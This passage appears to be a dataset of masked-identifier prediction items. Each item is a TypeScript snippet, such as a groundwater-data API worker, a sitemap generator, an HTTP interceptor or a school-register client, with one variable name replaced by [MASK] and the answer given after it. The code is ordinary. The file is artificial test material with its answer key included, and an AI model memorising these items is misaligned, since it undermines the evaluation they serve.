  const y = data.map(d => d.value);
  
  const sumX = x.reduce((a, b) => a + b, 0);
  const sumY = y.reduce((a, b) => a + b, 0);
  const sumXY = x.reduce((acc, xi, i) => acc + xi * y[i], 0);
  const sumX2 = x.reduce((acc, xi) => acc + xi * xi, 0);
  
  const slope = (n * sumXY - sumX * sumY) / (n * sumX2 - sumX * sumX);
  const intercept = (sumY - slope * sumX) / n;
  
  // Convert slope from per day to per year
  const annualTrend = slope * 365.25;
  
  return { slope: annualTrend, intercept };
}

export default {
  async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
    const url = new URL(request.url);
    const path = url.pathname;

    // Handle CORS preflight
    if (request.method === 'OPTIONS') {
      return new Response(null, { headers: corsHeaders });
    }

    // Route handling
    switch (path) {
      case '/':
        return jsonResponse({
          message: 'WaterTrace API - Cloudflare Workers Edition',
          version: '2.0',
          endpoints: [
            '/api/health',
            '/api/historical/timeseries',
            '/api/recent/timeseries',
            '/api/gldas/trend-analysis',
            '/api/analysis/summary',
            '/api/combined/timeline',
            '/api/districts/groundwater',
            '/api/predict'
          ]
        });

      case '/api/health':
        return jsonResponse({ status: 'healthy', timestamp: new Date().toISOString() });

      case '/api/historical/timeseries':
        // Return GRACE data
        const  [MASK]  = graceData.map(d => d.groundwater_cm);
        const graceStats = calculateStats( [MASK] );
        
        return jsonResponse({
          data: graceData,
          summary: {
            period: '2002-2017',
            data_source: 'GRACE satellite',
            total_records: graceData.length,
            statistics: graceStats,
            unit: 'cm'
          }
        });

      case '/api/recent/timeseries':
        // Return GLDAS data matching Flask API
        const gldasBaseline = gldasData.slice(0, 12).reduce((acc, d) => acc + d.groundwater_cm, 0) / 12;
        const gldasTimeseries = gldasData.map(d => ({
          date: d.date,
          groundwater_cm: d.groundwater_cm,
          data_source: 'GLDAS',
          groundwater_anomaly_cm: d.groundwater_cm - gldasBaseline
        }));
        
        return jsonResponse({
          success: true,
          data: gldasTimeseries,
          summary: {
            period: '2018-2024',
            data_source: 'GLDAS model',
            total_records: gldasData.length,
            baseline_value: gldasBaseline,
            unit: 'kg/m²'
          }
        });

      case '/api/gldas/trend-analysis':
        // Analyze GLDAS trends matching Flask API structure
        const baseline2018 = gldasData.filter(d => d.year === 2018).reduce((sum, d) => sum + d.groundwater_cm, 0) / 12;
        const currentValue = gldasData[gldasData.length - 1].groundwater_cm;
        const totalChange = currentValue - gldasData[0].groundwater_cm;
        
        // Calculate trend
        const gldasTrendData = gldasData.map(d => ({
          date: d.date,
          value: d.groundwater_cm
        }));
        
        const trend = calculateTrend(gldasTrendData);
        const annualChange = trend.slope;
        
        // Interpretation
        let interpretation = ""Relatively stable - minimal change detected"";
        if (annualChange < -2) {
          interpretation = ""Declining trend - likely continued groundwater depletion"";
        } else if (annualChange > 2) {
          interpretation = ""Increasing trend - possible stabilization or recovery"";
        }
        
        // Time series with anomalies
        const timeSeries = gldasData.map(d => ({
          date: d.date,
          absolute_value: d.groundwater_cm,
          anomaly: d.groundwater_cm - baseline2018,
          year: d.year
        }));
        
        return jsonResponse({
          success: true,
          analysis: {
            baseline_2018: baseline2018,
            current_value: currentValue,
            total_change: totalChange,
            annual_change: annualChange,
            monthly_change: annualChange / 12,
            interpretation: interpretation,
            trend_direction: annualChange > 0 ? 'increasing' : 'decreasing',
            comparison_note: 'GLDAS measures soil moisture, not direct groundwater. Positive values may indicate better water retention.'
          },
          time_series: timeSeries,
          metadata: {
            data_source: 'GLDAS V021',
            variable: 'Deep Soil Moisture (100-200cm)',
            units: 'kg/m²',
            period: '2018-01 to 2024-12'
          }
        });

      case '/api/analysis/summary':
        // Return project summary
        return jsonResponse({
          project: 'WaterTrace - Pakistan Groundwater Monitoring',
          description: 'Comprehensive groundwater depletion analysis using satellite data',
          key_findings: [
            'Pakistan lost 13.71 cm of groundwater from 2002-2017',
            'Annual depletion rate: -0.81 cm per year during GRACE period',
            'Recent GLDAS data shows slight improvement: +1.5 kg/m²/year',
            'Most affected region: Quetta with -15.3 cm depletion',
            'Critical districts: Lahore (-12.5 cm), Faisalabad (-10.8 cm)',
            '145 districts monitored across 4 provinces'
          ],
          data_sources: {
            historical: 'GRACE satellite (2002-2017)',
            recent: 'GLDAS model (2018-2024)'
          },
          coverage: '145 districts across Pakistan',
          study_area: {
            country: 'Pakistan',
            districts: 145,
            provinces: 4,
            area_km2: 881913
          },
          datasets: {
            historical: {
              name: 'GRACE',
              period: '2002-2017',
              data_points: 164,
              source: 'NASA/GFZ'
            },
            recent: {
              name: 'GLDAS',
              period: '2018-2024',
              data_points: 84,
              source: 'NASA LDAS'
            }
          }
        });

      case '/api/combined/timeline':
        // Combine GRACE and GLDAS data with EXACT same calculations as Flask
        const combinedData = [];
        
        // Add GRACE data (already in anomalies)
        graceData.forEach(d => {
          combinedData.push({
            date: d.date,
            value: d.groundwater_cm, // Already anomalies in cm
            source: 'GRACE',
            type: 'measured_anomaly'
          });
        });
        
        // Add GLDAS data converted to anomalies
        // Calculate 2018 baseline
        const gldas2018 = gldasData.filter(d => d.year === 2018);
        const baselineKg = gldas2018.reduce((sum, d) => sum + d.groundwater_cm, 0) / gldas2018.length;
        
        // Convert GLDAS to anomalies and rough cm equivalent
        // Rough conversion: 10 kg/m² ≈ 1 cm of water
        const graceEndValue = -8.727905291100553; // Exact last GRACE value in 2017
        
        gldasData.forEach(d => {
          const anomalyKg = d.groundwater_cm - baselineKg;
          const anomalyCmEquivalent = anomalyKg / 10; // Convert to cm scale
          
          combinedData.push({
            date: d.date,
            value: graceEndValue + anomalyCmEquivalent, // Apply GRACE offset for continuity
            source: 'GLDAS',
            type: 'estimated_anomaly'
          });
        });
        
        // Sort by date
        combinedData.sort((a, b) => new Date(a.date).getTime() - new Date(b.date).getTime());
        
        // Calculate statistics
        const graceTimelineValues = combinedData.filter(d => d.source === 'GRACE').map(d => d.value);
        const gldasTimelineValues = combinedData.filter(d => d.source === 'GLDAS').map(d => d.value);
        
        return jsonResponse({
          success: true,
          data: combinedData,
          summary: {
            grace_period: {
              start: '2002',
              end: '2017',
              final_value: graceTimelineValues[graceTimelineValues.length - 1] || null,
              trend: 'Declining at -0.81 cm/year'
            },
            gldas_period: {
              start: '2018',
              end: '2024',
              estimated_current: gldasTimelineValues[gldasTimelineValues.length - 1] || null,
              trend: 'Slight improvement (+0.15 cm/year equivalent)'
            },
            interpretation: 'GLDAS data suggests possible stabilization after severe depletion'
          }
        });

      case '/api/districts/groundwater':
        // Complete district data matching Flask API
        const regionalPatterns = {
          'Punjab': {
            'Lahore': -12.5,
            'Faisalabad': -10.8,
            'Multan': -9.2,
            'Rawalpindi': -6.5,
            'Gujranwala': -11.3,
            'Sialkot': -9.8,
            'Sargodha': -10.9,
            'Bahawalpur': -8.1,
            'Sheikhupura': -10.2,
            'Jhang': -7.4
          },
          'Sindh': {
            'Karachi': -4.3,
            'Hyderabad': -6.5,
            'Sukkur': -7.8,
            'Larkana': -8.4,
            '<NAME>': -7.1,
            'Nawabshah': -8.0,
            'Jacobabad': -9.3,
            'Shikarpur': -8.9
          },
          'Khyber Pakhtunkhwa': {
            'Peshawar': -5.3,
            'Mardan': -4.8,
            'Mingora': -1.2,
            'Abbottabad': -2.1,
            'Mansehra': -2.8,
            'Kohat': -6.0,
            'D<NAME>': -7.1
          },
          'Balochistan': {
            'Quetta': -15.3,
            'Gwadar': -3.5,
            'Turbat': -6.1,
            'Khuzdar': -10.0,
            'Chaman': -13.0,
            'Zhob': -8.6,
            'Sibi': -11.4
          }
        };
        
        // Convert to features array
        const districtFeatures = [];
        for (const [province, districts] of Object.entries(regionalPatterns)) {
          for (const [district, change] of Object.entries(districts)) {
            districtFeatures.push({
              district,
              province,
              groundwater_change: change,
              status: change < -10 ? 'Critical' : change < -5 ? 'Warning' : change < 0 ? 'Moderate' : 'Improving'
            });
          }
        }
        
        // Calculate summary statistics
        const allValues = districtFeatures.map(d => d.groundwater_change);
        const avgChange = allValues.reduce((a, b) => a + b, 0) / allValues.length;
        
        return jsonResponse({
          success: true,
          data: {
            type: 'FeatureCollection',
            features: districtFeatures.map(d => ({
              type: 'Feature',
              properties: d,
              geometry: {
                type: 'Point',
                coordinates: []  // Empty as we handle coordinates in frontend
              }
            }))
          },
          summary: {
            total_districts: districtFeatures.length,
            average_change: avgChange,
            most_depleted: Math.min(...allValues),
            most_improved: Math.max(...allValues),
            critical_districts: allValues.filter(v => v < -10).length,
            improving_districts: allValues.filter(v => v > 0).length,
            data_shown: districtFeatures.length,
            most_affected: 'Quetta'
          }
        });

      case '/api/predict':
        if (request.method !== 'POST') {
          return jsonResponse({ error: 'Method not allowed' }, 405);
        }
        
        try {
          const body = await request.json() as { years?: number };
          const years = body.years || 5;
          
          // Simple prediction based on recent trend
          const recentTrend = -0.81; // cm/year from historical data
          const lastValue = graceData[graceData.length - 1].groundwater_cm;
          
          const predictions = [];
          for (let i = 1; i <= years; i++) {
            predictions.push({
              year: 2017 + i,
              predicted_groundwater_cm: lastValue + (recentTrend * i),
              confidence: 'medium',
              method: 'Linear extrapolation'
            });
          }
          
          return jsonResponse({
            predictions,
            parameters: {
              base_year: 2017,
              trend_rate: recentTrend,
              years_predicted: years
            }
          });
        } catch (error) {
          return jsonResponse({ error: 'Invalid request body' }, 400);
        }

      default:
        return jsonResponse({ error: 'Not found' }, 404);
    }
  },
};",graceValues
128,"import type { MetadataRoute } from 'next'
import { rankedBlogs,rankedEssays,rankedTranslations,rankedNotes,rankedStory,rankedWritings } from '@/lib/filteredDatas'
 
export default function sitemap(): MetadataRoute.Sitemap {
  const blogs:MetadataRoute.Sitemap = rankedBlogs.map(ele => ({
    url: `https://leewendao.otterstack.cn${ele.slug}`,
    lastModified: ele.date,
    changeFrequency: 'weekly',
    priority: 0.5,
  }))

  const essays:MetadataRoute.Sitemap = rankedEssays.map(ele => ({
    url: `https://leewendao.otterstack.cn${ele.slug}`,
    lastModified: ele.date,
    changeFrequency: 'weekly',
    priority: 0.5,
  }))

  const  [MASK] :MetadataRoute.Sitemap = rankedTranslations.map(ele => ({
    url: `https://leewendao.otterstack.cn${ele.slug}`,
    lastModified: ele.date,
    changeFrequency: 'weekly',
    priority: 0.3,
  }))

  const notes:MetadataRoute.Sitemap = rankedNotes.map(ele => ({
    url: `https://leewendao.otterstack.cn${ele.slug}`,
    lastModified: ele.date,
    changeFrequency: 'weekly',
    priority: 0.3,
  }))

  const story:MetadataRoute.Sitemap = rankedStory.map(ele => ({
    url: `https://leewendao.otterstack.cn${ele.slug}`,
    lastModified: ele.date,
    changeFrequency: 'weekly',
    priority: 0.3,
  }))
  
  
  
  return [
    {
      url: 'https://leewendao.otterstack.cn/',
      lastModified: new Date(),
      changeFrequency: 'daily',
      priority: 1,
    },
    {
      url: 'https://leewendao.otterstack.cn/writings',
      lastModified: new Date(),
      changeFrequency: 'daily',
      priority: 1,
    },
    ...blogs,
    ...essays,
    ... [MASK] ,
    ...notes,
    ...story,
  ]
}",translations
129,"/* Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
""License""); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at

  http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied.  See the License for the
specific language governing permissions and limitations
under the License. */

import httpRequest from '@/api/request'
import type { Catalog, Database, Table, Schema, Manifest, Snapshot, Datafile, TableQuery } from './types'
import type { ResponseOptions } from '@/api/types'

export * from './types'

// #region catalog-controller

/**
 * # Get all catalog
 */
export const getAllCatalogs = () => {
  return httpRequest.get<unknown, ResponseOptions<Catalog[]>>('/catalog/getAllCatalogs')
}

/**
 * # Get database by catalog id
 */
export const getDatabasesByCatalogId = (id: number) => {
  return httpRequest.get<unknown, ResponseOptions<Database[]>>(`/database/list?catalogId=${id}`)
}

/**
 * # Get table by catalog id and database name
 */
export const getTables = ( [MASK] : TableQuery) => {
  return httpRequest.post<TableQuery, ResponseOptions<Table[]>>(`/table/list`,  [MASK] )
}

/**
 * # Get schema
 */
export const getSchema = () => {
  return httpRequest.createHooks!<Schema[]>({
    url: '/metadata/query/schema',
    method: 'post',
  })
}

/** 
 * # Get manifest 
 */
export const getManifest = () => {
  return httpRequest.createHooks!<Manifest[]>({
    url: '/metadata/query/manifest',
    method: 'post',
  })
}

/**
 * # Get data file
 */
export const getDataFile = () => {
  return httpRequest.createHooks!<Datafile[]>({
    url: '/metadata/query/dataFile',
    method: 'post',
  })
}

/**
 * # Get snapshot
 */
export const getSnapshot = () => {
  return httpRequest.createHooks!<Snapshot[]>({
    url: '/metadata/query/snapshot',
    method: 'post',
  })
}

// #endregion
",params
130,"import validateObject, { isArrayOf, isEqualTo, isNumber, isString, isOneOf } from ""./validateObject""

export type WorkspaceGrid = {
    name: string
    Nx: number
    Ny: number
    Nz: number
    x0: number
    y0: number
    z0: number
    dx: number
    dy: number
    dz: number
}

const isWorkspaceGridData = (x: any): x is WorkspaceGrid => {
    return validateObject(x, {
        name: isString,
        Nx: isNumber,
        Ny: isNumber,
        Nz: isNumber,
        x0: isNumber,
        y0: isNumber,
        z0: isNumber,
        dx: isNumber,
        dy: isNumber,
        dz: isNumber
    }, {allowAdditionalFields: true})
}

export type WorkspaceSurface = {
    name: string
    vertices: number[][]
    faces: number[][]
}

const isWorkspaceSurfaceData = (x: any): x is WorkspaceSurface => {
    return validateObject(x, {
        name: isString,
        vertices: () => (true),
        faces: () => (true)
    }, {allowAdditionalFields: true})
}

export type WorkspaceGridVectorField = {
    name: string
    gridName: string
    data: number[][][][]
}

const isWorkspaceGridVectorFieldData = (x: any): x is WorkspaceGridVectorField => {
    return validateObject(x, {
        name: isString,
        gridName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

export type WorkspaceGridScalarField = {
    name: string
    gridName: string
    data: number[][][]
}

const isWorkspaceGridScalarFieldData = (x: any): x is WorkspaceGridScalarField => {
    return validateObject(x, {
        name: isString,
        gridName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

type WorkspaceGridRegion = {
    name: string
    gridName: string
    data: number[][][]
}

const isWorkspaceGridRegionData = (x: any): x is WorkspaceGridRegion => {
    return validateObject(x, {
        name: isString,
        gridName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

export type WorkspaceSurfaceVectorField = {
    name: string
    surfaceName: string
    data: number[][]
}

const isWorkspaceSurfaceVectorFieldData = (x: any): x is WorkspaceSurfaceVectorField => {
    return validateObject(x, {
        name: isString,
        surfaceName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

export type WorkspaceSurfaceScalarField = {
    name: string
    surfaceName: string
    data: number[]
}

const isWorkspaceSurfaceScalarFieldData = (x: any): x is WorkspaceSurfaceScalarField => {
    return validateObject(x, {
        name: isString,
        surfaceName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

type WorkspaceSurfaceRegion = {
    name: string
    surfaceName: string
    data: number[]
}

const isWorkspaceSurfaceRegionData = (x: any): x is WorkspaceSurfaceRegion => {
    return validateObject(x, {
        name: isString,
        surfaceName: isString,
        data: () => (true)
    }, {allowAdditionalFields: true})
}

export type WorkspaceViewData = {
    type: 'workspace',
    grids: WorkspaceGrid[],
    surfaces: WorkspaceSurface[],
    gridVectorFields: WorkspaceGridVectorField[],
    gridScalarFields: WorkspaceGridScalarField[],
    gridRegions: WorkspaceGridRegion[],
    surfaceVectorFields: WorkspaceSurfaceVectorField[],
    surfaceScalarFields: WorkspaceSurfaceScalarField[],
    surfaceRegions: WorkspaceSurfaceRegion[]
}

type VolumeViewData = {
    type: 'volume'
    dataUri: string
    dataShape: number[]
    componentNames: string[]
} | {
    type: 'vector_field'
    dataUri: string
} | {
    type: 'surface'
    numVertices: number
    numFaces: number
    vertices: number[][]
    faces: number[][]
} | WorkspaceViewData

export const isVolumeViewData = (x: any): x is VolumeViewData => {
    const isVolumeData = (x: any) => {
        return validateObject(x, {
            type: isEqualTo('volume'),
            dataUri: isString,
            dataShape: isArrayOf(isNumber),
            componentNames: isArrayOf(isString)
        }, {allowAdditionalFields: true})
    }
    const isVectorFieldData = (x: any) => {
        return validateObject(x, {
            type: isEqualTo('vector_field'),
            dataUri: isString,
            dataShape: isArrayOf(isNumber)
        }, {allowAdditionalFields: true})
    }
    const  [MASK]  = (x: any) => {
        return validateObject(x, {
            type: isEqualTo('surface'),
            numVertices: isNumber,
            numFaces: isNumber,
            vertices: () => (true),
            faces: () => (true)
        }, {allowAdditionalFields: true})
    }
    const isWorkspaceData = (x: any) => {
        return validateObject(x, {
            type: isEqualTo('workspace'),
            grids: isArrayOf(isWorkspaceGridData),
            surfaces: isArrayOf(isWorkspaceSurfaceData),
            gridVectorFields: isArrayOf(isWorkspaceGridVectorFieldData),
            gridScalarFields: isArrayOf(isWorkspaceGridScalarFieldData),
            gridRegions: isArrayOf(isWorkspaceGridRegionData),
            surfaceVectorFields: isArrayOf(isWorkspaceSurfaceVectorFieldData),
            surfaceScalarFields: isArrayOf(isWorkspaceSurfaceScalarFieldData),
            surfaceRegions: isArrayOf(isWorkspaceSurfaceRegionData)
        }, {allowAdditionalFields: true})
    }
    return isOneOf([isVolumeData, isVectorFieldData,  [MASK] , isWorkspaceData])(x)
}

export default VolumeViewData",isSurfaceData
131,"import ReactDOM from 'react-dom';

import { Portal } from './portal';
import ConfirmBox from './confirm';
import React from 'react';
import { mountRootId } from './config';
import { Options } from './types';

export const confirm = async (message: string, options?: Options): Promise<any> => {
  const mount = await document.getElementById(mountRootId);
  if (!mount) {
    const rootMount = await document.createElement('div');
    await rootMount.setAttribute('id', mountRootId);
    document.body.appendChild(rootMount);
  }

  return new Promise((resolve) => {
    const ConfirmBoxEl = React.createElement(ConfirmBox, {
      resolver: resolve,
      message,
      options,
    });
    const  [MASK]  = React.createElement(Portal, null, ConfirmBoxEl);
    ReactDOM.render( [MASK] , document.getElementById(mountRootId));
  });
};
",PortalEl
132,"import { Injectable } from '@angular/core';
import { HttpRequest, HttpHandler, HttpEvent, HttpInterceptor } from '@angular/common/http';
import { Observable, throwError } from 'rxjs';
import { catchError } from 'rxjs/operators';
import { UserService } from '../services/user.service';

@Injectable()
export class JwtInterceptor implements HttpInterceptor {

    constructor(private userServiec: UserService) { }

    intercept( [MASK] : HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
        let accessToken = localStorage.getItem('Access-Token');
        if (accessToken != null) {
             [MASK]  =  [MASK] .clone({
                setHeaders: { 
                    Authorization: `Bearer ${accessToken}`
                }
            });
        }
        return next.handle( [MASK] ).pipe(catchError(err => {
            if (err.status === 401) {
                this.userServiec.setLoggedIn(false);
            }
            const error = err.error.message || err.statusText;
            return throwError(error);
        }));
    }
}",request
133,"import express from 'express';
import routers from './routers';
import config from './config';
import log4js, { Configuration } from 'log4js';
import mongoose, { ConnectOptions } from 'mongoose';

type EnvType = 'dev' | 'prod';

let env: EnvType = 'prod';
if (String(process.env.NODE_ENV).trim() === 'dev') {
  env = 'dev';
}

const mongoAddress = 'mongodb://localhost:27017/Genres';

export default async () => {
  const app = express();

  log4js.configure(config.log4js as Configuration);

  // to disable caching of requests returning 304 instead of 200
  app.disable('etag');

  app.use(express.json({ limit: '1mb' }));

  app.use((req, _, next) => {
    const  [MASK]  = (_: string, value: unknown) => {
      if (value && typeof value === 'string') {
        const dateRegex = /^\d{2}-\d{2}-\d{4}$/;
        if (dateRegex.test(value)) {
          return new Date(value);
        }
      }
      return value;
    };

    req.body = JSON.parse(JSON.stringify(req.body),  [MASK] );
    next();
  });

  app.use('/', routers);

  const port = env === 'dev' ? 3000 : 8888;
  const address = '0.0.0.0';

  app.listen(port, address, () => {
    log4js.getLogger().info(`Example app listening on port ${address}:${port}`);
  });

  await mongoose.connect(mongoAddress, {
    useNewUrlParser: true,
    useUnifiedTopology: true,
    socketTimeoutMS: 30000,
  } as ConnectOptions)
    .then(() => {
      console.log('Connected to MongoDB');
    })
    .catch((err) => {
      console.error('Error connecting to MongoDB:', err);
    });

  return app;
};
",dateReviver
134,"import {Component, OnInit} from '@angular/core';
import {IdResponseDto, PolicyDefinitionResponseDto, PolicyService} from ""../../../mgmt-api-client"";
import {BehaviorSubject, Observable, Observer, of} from ""rxjs"";
import {first, map, switchMap} from ""rxjs/operators"";
import {MatDialog} from ""@angular/material/dialog"";
import {NewPolicyDialogComponent} from ""../new-policy-dialog/new-policy-dialog.component"";
import {NotificationService} from ""../../services/notification.service"";
import {ConfirmationDialogComponent, ConfirmDialogModel} from ""../confirmation-dialog/confirmation-dialog.component"";

@Component({
  selector: 'app-policy-view',
  templateUrl: './policy-view.component.html',
  styleUrls: ['./policy-view.component.scss']
})
export class PolicyViewComponent implements OnInit {

  filteredPolicies$: Observable<PolicyDefinitionResponseDto[]> = of([]);
  searchText: string = '';
  private fetch$ = new BehaviorSubject(null);
  private readonly errorOrUpdateSubscriber: Observer<IdResponseDto>;

  constructor(private policyService: PolicyService,
              private notificationService: NotificationService,
              private readonly dialog: MatDialog) {

    this.errorOrUpdateSubscriber = {
      next: x => this.fetch$.next(null),
      error: err => this.showError(err, ""An error occurred.""),
      complete: () => {
        this.notificationService.showInfo(""Successfully completed"")
      },
    }
    
  }

  ngOnInit(): void {
    this.filteredPolicies$ = this.fetch$.pipe(
      switchMap(() => {
        const policyDefinitions = this.policyService.queryAllPolicies();
        return !!this.searchText ?
          policyDefinitions.pipe(map(policies => policies.filter(policy => this.isFiltered(policy, this.searchText))))
          :
          policyDefinitions;
      }));
  }

  onSearch() {
    this.fetch$.next(null);
  }

  onCreate() {
    const dialogRef = this.dialog.open(NewPolicyDialogComponent);
    dialogRef.afterClosed().pipe(first()).subscribe({
      next: ( [MASK] : PolicyDefinitionResponseDto) => {
        if ( [MASK] ) {
          this.policyService.createPolicy( [MASK] ).subscribe(
            {
              next: (response: IdResponseDto) => this.errorOrUpdateSubscriber.next(response),
              error: (error: Error) => this.showError(error, ""An error occurred while creating the policy."")
            }
          );
        }
      }
    });
  }
  
  /**
   * simple full-text search - serialize to JSON and see if ""searchText""
   * is contained
   */
  private isFiltered(policy: PolicyDefinitionResponseDto, searchText: string) {
    return JSON.stringify(policy).includes(searchText);
  }

  delete(policy: PolicyDefinitionResponseDto) {

    let policyId = policy['@id']!;
    const dialogData = ConfirmDialogModel.forDelete(""policy"", policyId);

    const ref = this.dialog.open(ConfirmationDialogComponent, {maxWidth: '20%', data: dialogData});
  
    ref.afterClosed().subscribe({

      next: (res: any) => {
        if (res) {
          this.policyService.deletePolicy(policyId).subscribe(
            {
              next: (response: IdResponseDto) => this.errorOrUpdateSubscriber.next(response),
              error: (error: Error) => this.showError(error, ""An error occurred while deleting the policy."")
            }
          );
        }
      }
    });
  }

  private showError(error: Error, errorMessage: string) {
    console.error(error);
    this.notificationService.showError(errorMessage);
  }
}
",result
135,"import { IncomingMessage, ServerResponse } from 'http';
import { getAllItems, getItemById, createItem, updateItem, deleteItem } from '../controllers/shoppingList.controller';

export const routes = (req: IncomingMessage,  [MASK] : ServerResponse): void => {
  const url = new URL(req.url || '', `http://${req.headers.host}`);
  const path = url.pathname;
  const method = req.method;

  if (path === '/items' && method === 'GET') {
    getAllItems(req,  [MASK] );
  } else if (path.match(/^\/items\/\d+$/) && method === 'GET') {
    const id = path.split('/')[2];
    req.params = { id };
    getItemById(req,  [MASK] );
  } else if (path === '/items' && method === 'POST') {
    createItem(req,  [MASK] );
  } else if (path.match(/^\/items\/\d+$/) && method === 'PUT') {
    const id = path.split('/')[2];
    req.params = { id };
    updateItem(req,  [MASK] );
  } else if (path.match(/^\/items\/\d+$/) && method === 'DELETE') {
    const id = path.split('/')[2];
    req.params = { id };
    deleteItem(req,  [MASK] );
  } else {
     [MASK] .writeHead(404, { 'Content-Type': 'application/json' });
     [MASK] .end(JSON.stringify({ message: 'Ruta no encontrada' }));
  }
};

// Extender IncomingMessage para incluir params
declare module 'http' {
  interface IncomingMessage {
    params?: { [key: string]: string };
  }
}
",res
136,"import React from 'react'
import { renderToNodeStream } from 'react-dom/server'
import intoStream from 'into-stream'
import multistream from 'multistream'
import { PassThrough } from 'stream'

export interface RenderContext {
  afterContent?: intoStream.Input
  beforeContent?: intoStream.Input
  bodyProps?: intoStream.Input
  description?: intoStream.Input
  head?: intoStream.Input
  htmlProps?: intoStream.Input
  title?: intoStream.Input
}

export const render = ({
  content,
  context = {}
}: {
  content?: React.ElementType
  context?: RenderContext
} = {}) => {
  const  [MASK]  = new PassThrough()
  const pieces: multistream.Streams = [
    intoStream(`<!doctype html>
<html`)
  ]

  if (context.htmlProps) {
    pieces.push(intoStream(context.htmlProps))
  }

  pieces.push(
    intoStream(`>
  <head>
    <meta charset=""utf-8"">`)
  )

  if (context.title) {
    pieces.push(
      intoStream('<title>'),
      intoStream(context.title),
      intoStream('</title>')
    )
  }

  if (context.description) {
    pieces.push(
      intoStream('<meta name=""description"" content=""'),
      intoStream(context.description),
      intoStream('"">')
    )
  }

  pieces.push(
    intoStream(
      '<meta name=""viewport"" content=""width=device-width, initial-scale=1"">'
    )
  )

  if (context.head) {
    pieces.push(intoStream(context.head))
  }

  pieces.push(
    intoStream(`
  </head>
  <body`)
  )

  if (context.bodyProps) {
    pieces.push(intoStream(context.bodyProps))
  }

  pieces.push(
    intoStream(`>
`)
  )

  if (context.beforeContent) {
    pieces.push(intoStream(context.beforeContent))
  }
  if (content) {
    pieces.push(renderToNodeStream(React.createElement(content)))
  }
  if (context.afterContent) {
    pieces.push(intoStream(context.afterContent))
  }

  pieces.push(
    intoStream(`
  </body>
</html>`)
  )

  multistream(pieces).pipe( [MASK] )

  return  [MASK] 
}
",passThrough
137,"import { defineEventHandler, readBody, setResponseStatus } from 'h3'
import { useRuntimeConfig } from '#imports'
import { signIn } from '~/services/auth/supabase_auth'

export default defineEventHandler(async (event) => {
    if (event.method !== 'POST') {
        setResponseStatus(event, 405)
        return
    }

    const  [MASK]  = useRuntimeConfig()
    if ( [MASK] .ENABLE_AUTH !== 'true') {
        setResponseStatus(event, 400)
        return { msg: 'Auth disabled' }
    }

    const { email, password } = await readBody(event)
    try {
        const data = await signIn(email, password)
        if (data?.user) {
            return { msg: 'Logged in!' }
        }
        setResponseStatus(event, 400)
        return { msg: 'Invalid creds' }
    } catch (err: any) {
        setResponseStatus(event, 500)
        return { msg: `${err}` }
    }
})
",cfg
138,"import { APIDashboard, APIProfilo, Profilo } from ""../types/Types.js"";
import { ArgoClient } from ""./ArgoClient"";


export class Argo {
    private client: ArgoClient;
    private profiloSelezionato: {
        profilo: APIProfilo;
        token: string;
    } | undefined;

    constructor(client: ArgoClient) {
        this.client = client;
    }

    /**
     * Ottieni i dati scolastici (compiti, voti, agenda...), potrebbe diventare una richiesta molto pesante (a livello di body di risposta) nel corso dell'anno scolastico
     */
    public async getDashboard(): Promise<APIDashboard> {
        if (!this.client.dataAggiornaData) this.client.dataAggiornaData = this.client.utilities.formattaDataUltimoAggiornamento(new Date(`${new Date().getFullYear()}-09-01:00:00:00.000Z`));
        if (!this.profiloSelezionato) throw new Error(""Profilo non selezionato, si prega di selezionarne uno con il metodo client.argo.selectUser()"");

        return (await this.client.sendArgoRequest(""/dashboard/dashboard"", ""POST"", true, JSON.stringify({
            dataultimoaggiornamento: this.client.dataAggiornaData,
            opzioni: ""{\""ORARIO_SCOLASTICO\"":true,\""PAGELLINO_ONLINE\"":true,\""VALUTAZIONI_PERIODICHE\"":true,\""VALUTAZIONI_GIORNALIERE\"":true,\""COMPITI_ASSEGNATI\"":true,\""IGNORA_OPZIONE_VOTI_DOCENTI\"":false,\""DOCENTI_CLASSE\"":true,\""RENDI_VISIBILE_CURRICULUM\"":true,\""RICHIESTA_CERTIFICATI\"":false,\""MODIFICA_RECAPITI\"":true,\""CONSIGLIO_DI_ISTITUTO\"":true,\""NOTE_DISCIPLINARI\"":true,\""GIUDIZI\"":true,\""GIUSTIFICAZIONI_ASSENZE\"":true,\""TABELLONE_PERIODI_INTERMEDI\"":true,\""PAGELLE_ONLINE\"":true,\""ASSENZE_PER_DATA\"":true,\""ARGOMENTI_LEZIONE\"":true,\""NASCONDI_DIDUP_FAMIGLIA\"":true,\""ALILITA_BSMART_FAMIGLIA\"":false,\""VOTI_GIUDIZI\"":true,\""ABILITA_AUTOCERTIFICAZIONE_FAM\"":false,\""MOSTRA_MEDIA_GENERALE\"":true,\""TABELLONE_SCRUTINIO_FINALE\"":true,\""PIN_VOTI\"":true,\""DISABILITA_ACCESSO_FAMIGLIA\"":true,\""TASSE_SCOLASTICHE\"":true,\""PROMEMORIA_CLASSE\"":true,\""PRENOTAZIONE_ALUNNI\"":true,\""CONSIGLIO_DI_CLASSE\"":true}""
        }), {
            ""x-auth-token"": this.profiloSelezionato?.token
        })).response.data as APIDashboard;
    }

    /**
     * Seleziona l'utente salvando il mobile token di esso (obbligatorio per richieste come getDashboard()
     * @param nomeCognome Nome e cognome dell'utente da selezionare 
     * @example ```js
     * client.argo.selectUser(""Antonio"", ""Cavaliere"");
     * ```
     */
    public async selectUser(nome: string, cognome: string): Promise<{
        profilo: APIProfilo;
        token: string;
    }> {
        const profili = await this.getProfili();


        const profilo = profili.find(profilo => profilo.profilo.alunno.nominativo.toLowerCase() === `${cognome.toLowerCase()} ${nome.toLowerCase()}`);

        if (!profilo) throw new Error(""Profilo non trovato"");

        this.profiloSelezionato = profilo;
        return profilo;
    }

    /**
     * 
     */
    public async getProfili(): Promise<{
        profilo: APIProfilo;
        token: string;
    }[]> {
        const res = await this.client.sendArgoRequest(""/login"", ""POST"", true, JSON.stringify({
